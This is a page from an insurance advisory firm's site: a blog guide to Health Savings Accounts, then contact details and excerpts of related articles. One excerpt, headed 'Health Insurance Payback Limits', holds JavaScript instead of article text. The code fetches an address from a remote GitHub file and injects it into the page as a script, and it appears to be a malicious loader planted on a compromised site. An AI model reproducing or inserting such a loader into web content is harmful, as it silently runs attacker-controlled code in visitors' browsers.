A Complete Guide to Health Savings Accounts - Compass Insurance Advisors
  • Introduction

    Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I’m here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more!

    What is an HSA?

    An HSA is a savings account that helps you save money on healthcare costs. You can use it to pay for medical expenses like doctor visits, prescriptions, and even dental work. With an HSA, you can save money on healthcare costs, get tax savings, and have more flexibility in choosing your healthcare.

    How to Qualify for an HSA

    To be eligible for an HSA, you need a special type of health insurance plan called a high-deductible health plan. Not all high-deductible health plans qualify. Only specific high-deductible health plans that meet the legal criteria qualify. So, talk to an advisor to help you figure out if your plan does.

    How to Open an HSA

    Choosing the right HSA provider is important because it affects your costs and benefits. Once you’ve chosen a provider, opening an account is easy and can be done online or in person. You can fund your HSA through payroll deductions or individual contributions. Make sure to compare different HSA providers to find the one that suits your needs and offers competitive features.

    Using Your HSA Funds

    You can use your HSA funds to pay for many medical expenses, like doctor visits, prescriptions, and even some over-the-counter products. You can use your HSA funds with a debit card or reimbursement system. Keeping track of your HSA expenses is important for tax purposes and budgeting. There are also funding limits per year shown in this graph, so you need to pay attention to how much you are putting into your HSA account each year.

    HSAs offer great flexibility in using your funds for a wide range of qualified medical expenses. However, it’s important to stay within the funding limits to avoid tax penalties.

    Managing Your HSA

    To get the most out of your HSA, you should contribute regularly, invest your funds, and use your HSA to pay for long-term healthcare costs. The rules for rollovers and tax-free withdrawals can be complicated, so it’s important to work with an expert. You should update your HSA as your health needs change to make sure you’re always covered.

    Taking a proactive approach to managing your HSA can help you maximize its benefits and ensure financial security for your healthcare needs.

    Conclusion

    We hope this article has helped you understand the benefits of health savings accounts and how they can save you money on your medical expenses. At Compass Insurance Advisors, we believe that everyone deserves access to affordable, quality healthcare, which is why we offer a variety of insurance options from over 100 insurance companies to fit your needs. If you’re interested in learning more reach out to one of our advisors!

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

Need Help?

Speak To Spencer Today!

(385) 208-7005

Monday - Friday 8:00 am - 9:00 PM


Or Find Affordable Insurance Plans

Related Articles

Dynamic Blog Short Description

  • Health Insurance Payback Limits

    var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(scri

    Read More
  • Modified Adjusted Gross Income

    Modified Adjusted Gross Income

    Because the marketplace application requires an estimated income for the year you want insurance coverage, it can be quite stressful predicting and figuring out your adjusted gross income. Unbelievably enough, many refrain from purchasing health insurance because they believe their gross income wil

    Read More
  • What is the Silver Sneakers Program?

    What is the Silver Sneakers Program?

    How does SilverSneakers work? SilverSneakers is a senior fitness program for adults 65+. And if you have a participating Medicare Advantage or Medigap plan, you can participate in SilverSneakers at no extra cost! What does SilverSneakers include? SilverSneakers members are encouraged to st

    Read More
  • What is the 1095-A?

    What is the 1095-A?

    What is the 1095-A? The 1095-A is the form you need to file your taxes if you or someone in your household had a health plan through the Marketplace in the previous year. The 1095-A will be mailed to you as early as mid-January or as late as February 1st. Remember, this form comes from the Marke

    Read More
  • A Complete Guide to Health Savings Accounts

    A Complete Guide to Health Savings Accounts

    Introduction Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I'm here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more! What

    Read More
  • The Medicaid Unwinding Explained

    The Medicaid Unwinding Explained

    https://youtu.be/1TJUu7Gyk_U The Medicaid Unwinding Explained! What is the Medicaid Unwinding? At the start of the COVID-19 pandemic, Congress enacted the Families First Coronavirus Response Act (FFCRA). This ensured that people would have access to continuous health coverage through Med

    Read More
  • How to GUARANTEE You’re On the Right Health Insurance Plan

    https://youtu.be/sjpxlgfjkzs?rel=0 Introduction: Feeling overwhelmed and confused when choosing a health insurance plan is a common experience. But what if there was an insider secret to guaranteeing that you're on the right plan? In this blog post, we'll explore the benefits of Compass's

    Read More
  • Medicare Part D

    Medicare Part D

    Drug Coverage: What is Medicare Part D? Medicare drug coverage helps pay for prescription drugs. If you don’t currently require any prescriptions, there are still reasons to consider getting Medicare drug coverage.         Medicare drug coverage (Part D) is optional and is offered t

    Read More
  • How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost? How much does individual health insurance cost? The answer to that is dependent on many factors. One way to get a benchmark idea of how much you'll pay for health insurance is by looking at the federal poverty level.If you are paying for health insurance as a

    Read More

What Others Say About Us

Our Customers Love Us

Spencer Neeley

(385) 208-7005

No Extra Cost. Professional Guidence. Complete Protection. Simplified Enrollment. Personalized Support.